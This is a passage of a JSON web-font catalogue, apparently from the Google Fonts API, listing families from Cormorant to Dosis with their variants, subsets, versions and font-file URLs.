"version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiRLmYgoyyYzFzFw.ttf", "300italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qMUgIa2QTRjF8ER.ttf", "regular": "http://fonts.gstatic.com/s/cormorant/v8/H4clBXOCl9bbnla_nHIa6JG8iqeuag.ttf", "italic": "http://fonts.gstatic.com/s/cormorant/v8/H4cjBXOCl9bbnla_nHIq6pu4qKK-aihq.ttf", "500": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiHLiYgoyyYzFzFw.ttf", "500italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qNMgYa2QTRjF8ER.ttf", "600": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiML-YgoyyYzFzFw.ttf", "600italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qNghoa2QTRjF8ER.ttf", "700": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiVL6YgoyyYzFzFw.ttf", "700italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qMEh4a2QTRjF8ER.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant Garamond", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQAllvuQWJ5heb_w.ttf", "300italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEPjuw-NxBKL_y94.ttf", "regular": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3bmX5slCNuHLi8bLeY9MK7whWMhyjornFLsS6V7w.ttf", "italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrHtPkyuF7w6C.ttf", "500": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQWlhvuQWJ5heb_w.ttf", "500italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEO7ug-NxBKL_y94.ttf", "600": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQdl9vuQWJ5heb_w.ttf", "600italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEOXvQ-NxBKL_y94.ttf", "700": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQEl5vuQWJ5heb_w.ttf", "700italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEPzvA-NxBKL_y94.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant Infant", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN9951w3_DMrQqcdJrk.ttf", "300italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItcDEhRoUYNrn_Ig.ttf", "regular": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyPU44g9vKiM1sORYSiWeAsLN993_Af2DsAXq4.ttf", "italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyJU44g9vKiM1sORYSiWeAsLN997_IV3BkFTq4EPw.ttf", "500": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN995wQ2_DMrQqcdJrk.ttf", "500italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItKDAhRoUYNrn_Ig.ttf", "600": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN995ygx_DMrQqcdJrk.ttf", "600italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItBDchRoUYNrn_Ig.ttf", "700": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN9950ww_DMrQqcdJrk.ttf", "700italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItYDYhRoUYNrn_Ig.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant SC", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmABIU_R3y8DOWGA.ttf", "regular": "http://fonts.gstatic.com/s/cormorantsc/v8/0yb5GD4kxqXBmOVLG30OGwserDow9Tbu-Q.ttf", "500": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmWBMU_R3y8DOWGA.ttf", "600": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmdBQU_R3y8DOWGA.ttf", "700": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmEBUU_R3y8DOWGA.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant Unicase", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9N_tucv7Gy0DRzS.ttf", "regular": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_QiZUaILtOqhqgDeXoF_n1_fTGX-vTnsMnx3C9.ttf", "500": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9Mnt-cv7Gy0DRzS.ttf", "600": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9MLsOcv7Gy0DRzS.ttf", "700": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9Nvsecv7Gy0DRzS.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant Upright", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1N5phDsU9X6RPzQ.ttf", "regular": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJrdM3I2Y35poFONtLdafkUCHw1y2vVjjTkeMnz.ttf", "500": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1MhpxDsU9X6RPzQ.ttf", "600": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1MNoBDsU9X6RPzQ.ttf", "700": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1NpoRDsU9X6RPzQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Courgette", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/courgette/v7/wEO_EBrAnc9BLjLQAUkFUfAL3EsHiA.ttf" } }, { "kind": "webfonts#webfont", "family": "Courier Prime", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/courierprime/v1/u-450q2lgwslOqpF_6gQ8kELWwZjW-_-tvg.ttf", "italic": "http://fonts.gstatic.com/s/courierprime/v1/u-4n0q2lgwslOqpF_6gQ8kELawRpX837pvjxPA.ttf", "700": "http://fonts.gstatic.com/s/courierprime/v1/u-4k0q2lgwslOqpF_6gQ8kELY7pMf-fVqvHoJXw.ttf", "700italic": "http://fonts.gstatic.com/s/courierprime/v1/u-4i0q2lgwslOqpF_6gQ8kELawRR4-LfrtPtNXyeAg.ttf" } }, { "kind": "webfonts#webfont", "family": "Cousine", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "hebrew", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v14", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cousine/v14/d6lIkaiiRdih4SpPzSMlzTbtz9k.ttf", "italic": "http://fonts.gstatic.com/s/cousine/v14/d6lKkaiiRdih4SpP_SEvyRTo39l8hw.ttf", "700": "http://fonts.gstatic.com/s/cousine/v14/d6lNkaiiRdih4SpP9Z8K6T7G09BlnmQ.ttf", "700italic": "http://fonts.gstatic.com/s/cousine/v14/d6lPkaiiRdih4SpP_SEXdTvM1_JgjmRpOA.ttf" } }, { "kind": "webfonts#webfont", "family": "Coustard", "category": "serif", "variants": [ "regular", "900" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/coustard/v10/3XFpErgg3YsZ5fqUU9UPvWXuROTd.ttf", "900": "http://fonts.gstatic.com/s/coustard/v10/3XFuErgg3YsZ5fqUU-2LkEHmb_jU3eRL.ttf" } }, { "kind": "webfonts#webfont", "family": "Covered By Your Grace", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/coveredbyyourgrace/v9/QGYwz-AZahWOJJI9kykWW9mD6opopoqXSOS0FgItq6bFIg.ttf" } }, { "kind": "webfonts#webfont", "family": "Crafty Girls", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/craftygirls/v9/va9B4kXI39VaDdlPJo8N_NvuQR37fF3Wlg.ttf" } }, { "kind": "webfonts#webfont", "family": "Creepster", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/creepster/v8/AlZy_zVUqJz4yMrniH4hdXf4XB0Tow.ttf" } }, { "kind": "webfonts#webfont", "family": "Crete Round", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/creteround/v8/55xoey1sJNPjPiv1ZZZrxJ1827zAKnxN.ttf", "italic": "http://fonts.gstatic.com/s/creteround/v8/55xqey1sJNPjPiv1ZZZrxK1-0bjiL2xNhKc.ttf" } }, { "kind": "webfonts#webfont", "family": "Crimson Pro", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800", "900", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v12", "lastModified": "2020-02-05", "files": { "200": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZTm18OJE_VNWoyQ.ttf", "300": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZkG18OJE_VNWoyQ.ttf", "regular": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZzm18OJE_VNWoyQ.ttf", "500": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZ_G18OJE_VNWoyQ.ttf", "600": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZEGp8OJE_VNWoyQ.ttf", "700": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZKWp8OJE_VNWoyQ.ttf", "800": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZTmp8OJE_VNWoyQ.ttf", "900": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZZ2p8OJE_VNWoyQ.ttf", "200italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi4Ue5s7dtC4yZNE.ttf", "300italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi7Ke5s7dtC4yZNE.ttf", "italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi6Ue5s7dtC4yZNE.ttf", "500italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi6me5s7dtC4yZNE.ttf", "600italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi5KfJs7dtC4yZNE.ttf", "700italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi5zfJs7dtC4yZNE.ttf", "800italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi4UfJs7dtC4yZNE.ttf", "900italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi49fJs7dtC4yZNE.ttf" } }, { "kind": "webfonts#webfont", "family": "Crimson Text", "category": "serif", "variants": [ "regular", "italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/crimsontext/v10/wlp2gwHKFkZgtmSR3NB0oRJvaAJSA_JN3Q.ttf", "italic": "http://fonts.gstatic.com/s/crimsontext/v10/wlpogwHKFkZgtmSR3NB0oRJfaghWIfdd3ahG.ttf", "600": "http://fonts.gstatic.com/s/crimsontext/v10/wlppgwHKFkZgtmSR3NB0oRJXsCx2C9lR1LFffg.ttf", "600italic": "http://fonts.gstatic.com/s/crimsontext/v10/wlprgwHKFkZgtmSR3NB0oRJfajCOD9NV9rRPfrKu.ttf", "700": "http://fonts.gstatic.com/s/crimsontext/v10/wlppgwHKFkZgtmSR3NB0oRJX1C12C9lR1LFffg.ttf", "700italic": "http://fonts.gstatic.com/s/crimsontext/v10/wlprgwHKFkZgtmSR3NB0oRJfajDqDtNV9rRPfrKu.ttf" } }, { "kind": "webfonts#webfont", "family": "Croissant One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/croissantone/v7/3y9n6bU9bTPg4m8NDy3Kq24UM3pqn5cdJ-4.ttf" } }, { "kind": "webfonts#webfont", "family": "Crushed", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/crushed/v10/U9Mc6dym6WXImTlFT1kfuIqyLzA.ttf" } }, { "kind": "webfonts#webfont", "family": "Cuprum", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/cuprum/v11/dg4k_pLmvrkcOkB9IeFDh701Sg.ttf", "italic": "http://fonts.gstatic.com/s/cuprum/v11/dg4m_pLmvrkcOkBNI-tHpbglShon.ttf", "700": "http://fonts.gstatic.com/s/cuprum/v11/dg4n_pLmvrkcOkBFnc5nj5YpQwM-gg.ttf", "700italic": "http://fonts.gstatic.com/s/cuprum/v11/dg4h_pLmvrkcOkBNI9P7ipwtYQYugjW4.ttf" } }, { "kind": "webfonts#webfont", "family": "Cute Font", "category": "display", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cutefont/v8/Noaw6Uny2oWPbSHMrY6vmJNVNC9hkw.ttf" } }, { "kind": "webfonts#webfont", "family": "Cutive", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cutive/v11/NaPZcZ_fHOhV3Ip7T_hDoyqlZQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Cutive Mono", "category": "monospace", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cutivemono/v8/m8JWjfRfY7WVjVi2E-K9H5RFRG-K3Mud.ttf" } }, { "kind": "webfonts#webfont", "family": "DM Sans", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-11-14", "files": { "regular": "http://fonts.gstatic.com/s/dmsans/v4/rP2Hp2ywxg089UriOZSCHBeHFl0.ttf", "italic": "http://fonts.gstatic.com/s/dmsans/v4/rP2Fp2ywxg089UriCZaIGDWCBl0O8Q.ttf", "500": "http://fonts.gstatic.com/s/dmsans/v4/rP2Cp2ywxg089UriAWCrOB-sClQX6Cg.ttf", "500italic": "http://fonts.gstatic.com/s/dmsans/v4/rP2Ap2ywxg089UriCZaw7BymDnYS-Cjk6Q.ttf", "700": "http://fonts.gstatic.com/s/dmsans/v4/rP2Cp2ywxg089UriASitOB-sClQX6Cg.ttf", "700italic": "http://fonts.gstatic.com/s/dmsans/v4/rP2Ap2ywxg089UriCZawpBqmDnYS-Cjk6Q.ttf" } }, { "kind": "webfonts#webfont", "family": "DM Serif Display", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-11-19", "files": { "regular": "http://fonts.gstatic.com/s/dmserifdisplay/v4/-nFnOHM81r4j6k0gjAW3mujVU2B2K_d709jy92k.ttf", "italic": "http://fonts.gstatic.com/s/dmserifdisplay/v4/-nFhOHM81r4j6k0gjAW3mujVU2B2G_Vx1_r352np3Q.ttf" } }, { "kind": "webfonts#webfont", "family": "DM Serif Text", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-11-19", "files": { "regular": "http://fonts.gstatic.com/s/dmseriftext/v4/rnCu-xZa_krGokauCeNq1wWyafOPXHIJErY.ttf", "italic": "http://fonts.gstatic.com/s/dmseriftext/v4/rnCw-xZa_krGokauCeNq1wWyWfGFWFAMArZKqQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Damion", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/damion/v9/hv-XlzJ3KEUe_YZUbWY3MTFgVg.ttf" } }, { "kind": "webfonts#webfont", "family": "Dancing Script", "category": "handwriting", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v14", "lastModified": "2020-02-05", "files": { "regular": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSoHTeB9ptDqpw.ttf", "500": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BAyoHTeB9ptDqpw.ttf", "600": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7B7y0HTeB9ptDqpw.ttf", "700": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7B1i0HTeB9ptDqpw.ttf" } }, { "kind": "webfonts#webfont", "family": "Dangrek", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dangrek/v11/LYjCdG30nEgoH8E2gCNqqVIuTN4.ttf" } }, { "kind": "webfonts#webfont", "family": "Darker Grotesque", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2019-11-05", "files": { "300": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVoxr2AW8hTOsXsX0.ttf", "regular": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MH6cuh-mLQlC4BKCtayOfARkSVm7beJWcKUOI.ttf", "500": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVo0L3AW8hTOsXsX0.ttf", "600": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVo27wAW8hTOsXsX0.ttf", "700": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVowrxAW8hTOsXsX0.ttf", "800": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVoxbyAW8hTOsXsX0.ttf", "900": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVozLzAW8hTOsXsX0.ttf" } }, { "kind": "webfonts#webfont", "family": "David Libre", "category": "serif", "variants": [ "regular", "500", "700" ], "subsets": [ "vietnamese", "hebrew", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/davidlibre/v4/snfus0W_99N64iuYSvp4W_l86p6TYS-Y.ttf", "500": "http://fonts.gstatic.com/s/davidlibre/v4/snfzs0W_99N64iuYSvp4W8GIw7qbSjORSo9W.ttf", "700": "http://fonts.gstatic.com/s/davidlibre/v4/snfzs0W_99N64iuYSvp4W8HAxbqbSjORSo9W.ttf" } }, { "kind": "webfonts#webfont", "family": "Dawning of a New Day", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dawningofanewday/v10/t5t_IQMbOp2SEwuncwLRjMfIg1yYit_nAz8bhWJGNoBE.ttf" } }, { "kind": "webfonts#webfont", "family": "Days One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/daysone/v9/mem9YaCnxnKRiYZOCLYVeLkWVNBt.ttf" } }, { "kind": "webfonts#webfont", "family": "Dekko", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dekko/v6/46khlb_wWjfSrttFR0vsfl1B.ttf" } }, { "kind": "webfonts#webfont", "family": "Delius", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/delius/v9/PN_xRfK0pW_9e1rtYcI-jT3L_w.ttf" } }, { "kind": "webfonts#webfont", "family": "Delius Swash Caps", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/deliusswashcaps/v11/oY1E8fPLr7v4JWCExZpWebxVKORpXXedKmeBvEYs.ttf" } }, { "kind": "webfonts#webfont", "family": "Delius Unicase", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/deliusunicase/v13/845BNMEwEIOVT8BmgfSzIr_6mmLHd-73LXWs.ttf", "700": "http://fonts.gstatic.com/s/deliusunicase/v13/845CNMEwEIOVT8BmgfSzIr_6mlp7WMr_BmmlS5aw.ttf" } }, { "kind": "webfonts#webfont", "family": "Della Respira", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dellarespira/v7/RLp5K5v44KaueWI6iEJQBiGPRfkSu6EuTHo.ttf" } }, { "kind": "webfonts#webfont", "family": "Denk One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/denkone/v7/dg4m_pzhrqcFb2IzROtHpbglShon.ttf" } }, { "kind": "webfonts#webfont", "family": "Devonshire", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/devonshire/v8/46kqlbDwWirWr4gtBD2BX0Vq01lYAZM.ttf" } }, { "kind": "webfonts#webfont", "family": "Dhurjati", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dhurjati/v7/_6_8ED3gSeatXfFiFX3ySKQtuTA2.ttf" } }, { "kind": "webfonts#webfont", "family": "Didact Gothic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/didactgothic/v13/ahcfv8qz1zt6hCC5G4F_P4ASpUySp0LlcyQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Diplomata", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/diplomata/v11/Cn-0JtiMXwhNwp-wKxyfYGxYrdM9Sg.ttf" } }, { "kind": "webfonts#webfont", "family": "Diplomata SC", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/diplomatasc/v8/buExpoi3ecvs3kidKgBJo2kf-P5Oaiw4cw.ttf" } }, { "kind": "webfonts#webfont", "family": "Do Hyeon", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dohyeon/v11/TwMN-I8CRRU2zM86HFE3ZwaH__-C.ttf" } }, { "kind": "webfonts#webfont", "family": "Dokdo", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dokdo/v8/esDf315XNuCBLxLo4NaMlKcH.ttf" } }, { "kind": "webfonts#webfont", "family": "Domine", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/domine/v7/L0x8DFMnlVwD4h3RvPCmRSlUig.ttf", "700": "http://fonts.gstatic.com/s/domine/v7/L0x_DFMnlVwD4h3pAN-CTQJIg3uuXg.ttf" } }, { "kind": "webfonts#webfont", "family": "Donegal One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/donegalone/v7/m8JWjfRYea-ZnFz6fsK9FZRFRG-K3Mud.ttf" } }, { "kind": "webfonts#webfont", "family": "Doppio One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/doppioone/v7/Gg8wN5gSaBfyBw2MqCh-lgshKGpe5Fg.ttf" } }, { "kind": "webfonts#webfont", "family": "Dorsa", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dorsa/v10/yYLn0hjd0OGwqo493XCFxAnQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Dosis", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v17", "lastModified": "2020-02-05", "files": { "200": "http://fonts.gstatic.com/s/dosis/v17/HhyJU5sn9vOmLxNkIwRSjTVNWLEJt7MV3BkFTq4EPw.ttf", "300": 